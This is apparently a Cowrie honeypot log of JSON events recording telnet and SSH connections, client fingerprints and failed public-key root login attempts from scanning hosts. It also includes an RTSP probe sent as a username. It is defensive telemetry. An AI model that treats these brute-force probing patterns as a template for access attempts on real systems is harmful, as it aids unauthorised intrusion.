{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16186,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1dba1cee405","protocol":"telnet","message":"New connection: 34.156.255.59:16186 (159.203.135.109:23) [session: b1dba1cee405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:55.935994Z"}
{"eventid":"cowrie.session.closed","duration":0.004080295562744141,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:55.939919Z","src_ip":"34.156.255.59","session":"b1dba1cee405","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16200,"dst_ip":"159.203.135.109","dst_port":23,"session":"79922ac0e2e4","protocol":"telnet","message":"New connection: 34.156.255.59:16200 (159.203.135.109:23) [session: 79922ac0e2e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:56.089780Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16212,"dst_ip":"159.203.135.109","dst_port":23,"session":"84481e6f3414","protocol":"telnet","message":"New connection: 34.156.255.59:16212 (159.203.135.109:23) [session: 84481e6f3414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:56.243495Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 4854","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 4854] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:56.248475Z","src_ip":"34.156.255.59","session":"84481e6f3414","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:56.350633Z","src_ip":"91.92.40.4","session":"2226d601d1ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16228,"dst_ip":"159.203.135.109","dst_port":23,"session":"8207285ebe22","protocol":"telnet","message":"New connection: 34.156.255.59:16228 (159.203.135.109:23) [session: 8207285ebe22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:56.400732Z"}
{"eventid":"cowrie.session.closed","duration":0.0046863555908203125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:56.405323Z","src_ip":"34.156.255.59","session":"8207285ebe22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55350,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c93896302c4","protocol":"telnet","message":"New connection: 170.64.224.25:55350 (159.203.135.109:23) [session: 3c93896302c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:02.404404Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.31.53.170","src_port":40134,"dst_ip":"10.17.0.5","dst_port":22,"session":"f55e92960ff7","protocol":"ssh","message":"New connection: 64.31.53.170:40134 (10.17.0.5:22) [session: f55e92960ff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:07.393905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:07.397975Z","src_ip":"64.31.53.170","session":"f55e92960ff7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:07.406658Z","src_ip":"64.31.53.170","session":"f55e92960ff7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:bc:0b:49:8e:40:46:e9:0d:3a:8d:b1:67:47:cd:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTKP0fhIyVg7BPICNjjTxZ5onAuwOtLrOeUDGz9btBAM1yrKIQULJPv8PGGGQ2sFymv+kf2FVOgOdbr0v+4teblsHQyUGT1C1J5bYumKIGmmvix6my6MwL6Kt/y96rs+MYAqsrd5p+Fst56ZMGdX9yOEIMLmZkpKusdbPde8cVXYk7YwJdXepc9y54sfRNvGE/R3mVsko2fd0s5eSs0JvjKFgRxoe4b6OoooX1jqto5PZVNoNjtxltFteYq401q/MkUaKZPMlCy8Zfq3Zywrvj+4V3ftDoiDXznUQa+xl6KCB1mDca0Vfj+ywvckMp4/29JsnrzODksX9sNL9wbiXF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:bc:0b:49:8e:40:46:e9:0d:3a:8d:b1:67:47:cd:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:07.423457Z","src_ip":"64.31.53.170","session":"f55e92960ff7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:bc:0b:49:8e:40:46:e9:0d:3a:8d:b1:67:47:cd:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTKP0fhIyVg7BPICNjjTxZ5onAuwOtLrOeUDGz9btBAM1yrKIQULJPv8PGGGQ2sFymv+kf2FVOgOdbr0v+4teblsHQyUGT1C1J5bYumKIGmmvix6my6MwL6Kt/y96rs+MYAqsrd5p+Fst56ZMGdX9yOEIMLmZkpKusdbPde8cVXYk7YwJdXepc9y54sfRNvGE/R3mVsko2fd0s5eSs0JvjKFgRxoe4b6OoooX1jqto5PZVNoNjtxltFteYq401q/MkUaKZPMlCy8Zfq3Zywrvj+4V3ftDoiDXznUQa+xl6KCB1mDca0Vfj+ywvckMp4/29JsnrzODksX9sNL9wbiXF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:07.426732Z","src_ip":"64.31.53.170","session":"f55e92960ff7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:b8:38:5b:ce:75:d1:8c:af:e7:f8:da:b4:99:61:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQsPSTMUWBnpYHxjO6BprVJiLX7BoWzZ2st29YoEn0cLkoouSpe2zal+kx3PItktGkQltD/4LK1kDRSw3KtyGvkSR8ISQuaCRh+lYlB0j64V4SbRfUa9Xew3q8y9Qr2yfb9KCU0w/u3UcOww1QlgqS30bb6JMkXV4jd8thVqmMGpbHHfw4Z205Xgey8ZHXuH3ijV6DNg0dRIywyWh8seC7fo+/319GpCoEwNy9U0a2g2o0XES1KnIGc45THuIBfh3yitmp0Ojzuoesndu1Z4k6OaoC3MWKEGDhmu+WnOcDGr2Pz61NSpGpDtuQ9/9wy8HoMTmSmsL/tXwblwU2YsWf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:b8:38:5b:ce:75:d1:8c:af:e7:f8:da:b4:99:61:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:07.432763Z","src_ip":"64.31.53.170","session":"f55e92960ff7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:b8:38:5b:ce:75:d1:8c:af:e7:f8:da:b4:99:61:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQsPSTMUWBnpYHxjO6BprVJiLX7BoWzZ2st29YoEn0cLkoouSpe2zal+kx3PItktGkQltD/4LK1kDRSw3KtyGvkSR8ISQuaCRh+lYlB0j64V4SbRfUa9Xew3q8y9Qr2yfb9KCU0w/u3UcOww1QlgqS30bb6JMkXV4jd8thVqmMGpbHHfw4Z205Xgey8ZHXuH3ijV6DNg0dRIywyWh8seC7fo+/319GpCoEwNy9U0a2g2o0XES1KnIGc45THuIBfh3yitmp0Ojzuoesndu1Z4k6OaoC3MWKEGDhmu+WnOcDGr2Pz61NSpGpDtuQ9/9wy8HoMTmSmsL/tXwblwU2YsWf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:07.438638Z","src_ip":"64.31.53.170","session":"f55e92960ff7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:5f:af:1f:ba:c3:c2:ca:96:38:36:7f:f5:07:a6:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt8VvZVkxBDbZH7oHMRA5FpsihNAzDEemE9KZz7HLX7FvnEP8J4wZT/HtKoEq8G36bJdAGKGA6NK/fxFOuQFhvxa1/AfguVZbnU3nEjxbxv0h1PEG/veapNYMYn6EK4/7jBCvM1BV4Qw5NEASrV6UZBEth98MF+stuOD/fqOla8vSWbPA+w7r2LO2AX1JsA4gkI8tE0KA/FarCjltr7e3Q5b4bdm3vBRqJNOvGjeiO5MoxIe6iIqcw5hgvM92lNYMNYMkY6CKLp6EO32OcSv12KfMCVgJoy/wBZCEF0WRn3lcj5xpiHIsaw6Gz2GOFs1ngUTf+Y6EO9UtVsOr6gcdNw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:5f:af:1f:ba:c3:c2:ca:96:38:36:7f:f5:07:a6:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:07.446043Z","src_ip":"64.31.53.170","session":"f55e92960ff7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:5f:af:1f:ba:c3:c2:ca:96:38:36:7f:f5:07:a6:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt8VvZVkxBDbZH7oHMRA5FpsihNAzDEemE9KZz7HLX7FvnEP8J4wZT/HtKoEq8G36bJdAGKGA6NK/fxFOuQFhvxa1/AfguVZbnU3nEjxbxv0h1PEG/veapNYMYn6EK4/7jBCvM1BV4Qw5NEASrV6UZBEth98MF+stuOD/fqOla8vSWbPA+w7r2LO2AX1JsA4gkI8tE0KA/FarCjltr7e3Q5b4bdm3vBRqJNOvGjeiO5MoxIe6iIqcw5hgvM92lNYMNYMkY6CKLp6EO32OcSv12KfMCVgJoy/wBZCEF0WRn3lcj5xpiHIsaw6Gz2GOFs1ngUTf+Y6EO9UtVsOr6gcdNw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:07.448817Z","src_ip":"64.31.53.170","session":"f55e92960ff7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:06:6f:a0:69:a3:7c:e0:00:a1:1a:23:ab:41:c0:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtzTC2fmSoUjmfCj1ClgLXClys1JNri0FjGo7jCZCbWnSDpN/QLe2g+qEn/jM2jevdTuBcU3kEau2WYG3dVZBYIqLKo+PTZs7dbHS+56h5sdIESSBX8UWrZKm1XD9bJnSLfxU053i5y02DnzygTzA69TqveISCqot6Mpr3kGq2QNuSn0xKYBdKMP0iRBNSGBrZYkHpsCFdqMsjZOwrjNUXza4yRmugbFtEMcjm9I2KIyYcBgKmThzLMpOZh74GT/T1B/uSjihb4Za7bHSeQltIX8bxDjR+hbK4HY3gx7pFbSovmghdTn4oiO6ldXuz1Ve2zZXqRY08ijER8ixhkCA8bo5eTLzL0clS73c5kDhIm8or2AwW5vnHmJYlZKAWPxxhR95luD5IX21DTIoPKTwqAs/wp6fzFgSFSOtChRxMnEFHfpR7ajXy6Ga7ckFPOw+LGR6MMUtMFp0hyeeBTWnVHwbD0L/tH9FAMk8KbSSVuxCkjT8c7gNbzkohiu9H+JUSZopc5V+M+FtTnn08OOsYq1FmTVDuqC6zCA/i+KRson9v8agRGLSSQPHuxX45eL8axP9q2dI6ctSkYai347HQk2mWCczb5ZCQtcHm1dxA8y3RsZxyQyke+BK5ICS9hbGfZXszjeNpm5H3nNPzwhSCCcs9Wp15m+MpaaUc4Njanw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:06:6f:a0:69:a3:7c:e0:00:a1:1a:23:ab:41:c0:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:07.456237Z","src_ip":"64.31.53.170","session":"f55e92960ff7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:06:6f:a0:69:a3:7c:e0:00:a1:1a:23:ab:41:c0:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtzTC2fmSoUjmfCj1ClgLXClys1JNri0FjGo7jCZCbWnSDpN/QLe2g+qEn/jM2jevdTuBcU3kEau2WYG3dVZBYIqLKo+PTZs7dbHS+56h5sdIESSBX8UWrZKm1XD9bJnSLfxU053i5y02DnzygTzA69TqveISCqot6Mpr3kGq2QNuSn0xKYBdKMP0iRBNSGBrZYkHpsCFdqMsjZOwrjNUXza4yRmugbFtEMcjm9I2KIyYcBgKmThzLMpOZh74GT/T1B/uSjihb4Za7bHSeQltIX8bxDjR+hbK4HY3gx7pFbSovmghdTn4oiO6ldXuz1Ve2zZXqRY08ijER8ixhkCA8bo5eTLzL0clS73c5kDhIm8or2AwW5vnHmJYlZKAWPxxhR95luD5IX21DTIoPKTwqAs/wp6fzFgSFSOtChRxMnEFHfpR7ajXy6Ga7ckFPOw+LGR6MMUtMFp0hyeeBTWnVHwbD0L/tH9FAMk8KbSSVuxCkjT8c7gNbzkohiu9H+JUSZopc5V+M+FtTnn08OOsYq1FmTVDuqC6zCA/i+KRson9v8agRGLSSQPHuxX45eL8axP9q2dI6ctSkYai347HQk2mWCczb5ZCQtcHm1dxA8y3RsZxyQyke+BK5ICS9hbGfZXszjeNpm5H3nNPzwhSCCcs9Wp15m+MpaaUc4Njanw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:07.459076Z","src_ip":"64.31.53.170","session":"f55e92960ff7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:b4:ed:75:c4:eb:37:51:b4:18:61:0a:5d:d7:d8:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4hJs+VMC9HdTB3w2zNm4NcLRd+i3pWAX3lC5PJZBZKG5EQknw3+SNYyIeqllHQ8u3kfM+XVABxoGtgAOu/yNgUdRLMmmm3EwxOlOqTMQt8SJ8ufGk2pKKlNK7s+x/o+IzDTVIzz9HARC0Ff0R4b+39TE9uMFMP8kt114Gj4d2BLGhbS63+3UQ9hvMNV1MIEb9+pqJs0JVa6RPJakJqZQZK5+sZrl9TkVGGhVyskhQSCDriwku/w0yyvGhF5Ky1Y/870cjXTKQ6qdghM63RAocfiOdzTv9K0gilx8fi0lyg6hSjFDBlQ2/NWL0wV7nF6kLcGVc9K9zBXCWlqgiExK89hlKhT9bmn61Nl96wG3WkQG0MYoR1pGw0cMlbX3/Zz0w607Tro6we/owJBpJgvjE6oqVxEUW/UJUCtlvzm9x58l0KtKCfSzxYB0fqSSc06WZxLwPQIxM5kfqMxHbxNaf4E7WwQ3McVxFX3KreUJZyMvsYrOrQD5PZxjV7RUurxU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:b4:ed:75:c4:eb:37:51:b4:18:61:0a:5d:d7:d8:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:07.466062Z","src_ip":"64.31.53.170","session":"f55e92960ff7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:b4:ed:75:c4:eb:37:51:b4:18:61:0a:5d:d7:d8:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4hJs+VMC9HdTB3w2zNm4NcLRd+i3pWAX3lC5PJZBZKG5EQknw3+SNYyIeqllHQ8u3kfM+XVABxoGtgAOu/yNgUdRLMmmm3EwxOlOqTMQt8SJ8ufGk2pKKlNK7s+x/o+IzDTVIzz9HARC0Ff0R4b+39TE9uMFMP8kt114Gj4d2BLGhbS63+3UQ9hvMNV1MIEb9+pqJs0JVa6RPJakJqZQZK5+sZrl9TkVGGhVyskhQSCDriwku/w0yyvGhF5Ky1Y/870cjXTKQ6qdghM63RAocfiOdzTv9K0gilx8fi0lyg6hSjFDBlQ2/NWL0wV7nF6kLcGVc9K9zBXCWlqgiExK89hlKhT9bmn61Nl96wG3WkQG0MYoR1pGw0cMlbX3/Zz0w607Tro6we/owJBpJgvjE6oqVxEUW/UJUCtlvzm9x58l0KtKCfSzxYB0fqSSc06WZxLwPQIxM5kfqMxHbxNaf4E7WwQ3McVxFX3KreUJZyMvsYrOrQD5PZxjV7RUurxU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:07.468656Z","src_ip":"64.31.53.170","session":"f55e92960ff7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:07.476047Z","src_ip":"64.31.53.170","session":"f55e92960ff7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44946,"dst_ip":"10.17.0.5","dst_port":22,"session":"aacac8d6d135","protocol":"ssh","message":"New connection: 8.210.75.243:44946 (10.17.0.5:22) [session: aacac8d6d135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:07.761796Z"}
{"eventid":"cowrie.session.closed","duration":18.37415647506714,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:12.294966Z","src_ip":"34.156.255.59","session":"4e3f495e1afe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.532965898513794,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:12.299266Z","src_ip":"34.156.255.59","session":"0e5ebfd2d085","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.845906972885132,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:12.302791Z","src_ip":"34.156.255.59","session":"b402bd215067","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.078380346298218,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:12.305348Z","src_ip":"34.156.255.59","session":"853af9ba195e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.132243156433105,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:12.375590Z","src_ip":"34.156.255.59","session":"84481e6f3414","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.288623809814453,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:12.378289Z","src_ip":"34.156.255.59","session":"79922ac0e2e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.598642349243164,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:12.381006Z","src_ip":"34.156.255.59","session":"11d28a051a99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.75423812866211,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:12.383534Z","src_ip":"34.156.255.59","session":"61a5b80164de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.922523021697998,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:12.395616Z","src_ip":"34.156.255.59","session":"62cc78d6bbd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.07968759536743,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:12.398242Z","src_ip":"34.156.255.59","session":"176f5454f41c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.23634171485901,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:12.400671Z","src_ip":"34.156.255.59","session":"d155648f015b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.39955186843872,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:12.407235Z","src_ip":"34.156.255.59","session":"ee9ea748964d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.560285806655884,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:12.409515Z","src_ip":"34.156.255.59","session":"5a9636a0eb16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.718334674835205,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:12.411655Z","src_ip":"34.156.255.59","session":"d61c14e6d3b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.876104593276978,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:12.413922Z","src_ip":"34.156.255.59","session":"73798458dfd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.033488750457764,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:12.415800Z","src_ip":"34.156.255.59","session":"e8674cb103a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.194847345352173,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:12.421896Z","src_ip":"34.156.255.59","session":"a4bb3ee0e797","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.350775957107544,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:12.423491Z","src_ip":"34.156.255.59","session":"d06fe62c1ca1","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:16.515421Z","src_ip":"8.210.75.243","session":"aacac8d6d135","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:17.570704Z","src_ip":"8.210.75.243","session":"f94f785cb21d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":57260,"dst_ip":"10.17.0.5","dst_port":22,"session":"830bb75713d1","protocol":"ssh","message":"New connection: 8.210.75.243:57260 (10.17.0.5:22) [session: 830bb75713d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:39.038288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:39.042230Z","src_ip":"8.210.75.243","session":"830bb75713d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":55932,"dst_ip":"159.203.135.109","dst_port":22,"session":"46818d870e21","protocol":"ssh","message":"New connection: 103.153.68.219:55932 (159.203.135.109:22) [session: 46818d870e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:43.477210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:17:43.481565Z","src_ip":"103.153.68.219","session":"46818d870e21","protocol":"ssh"}
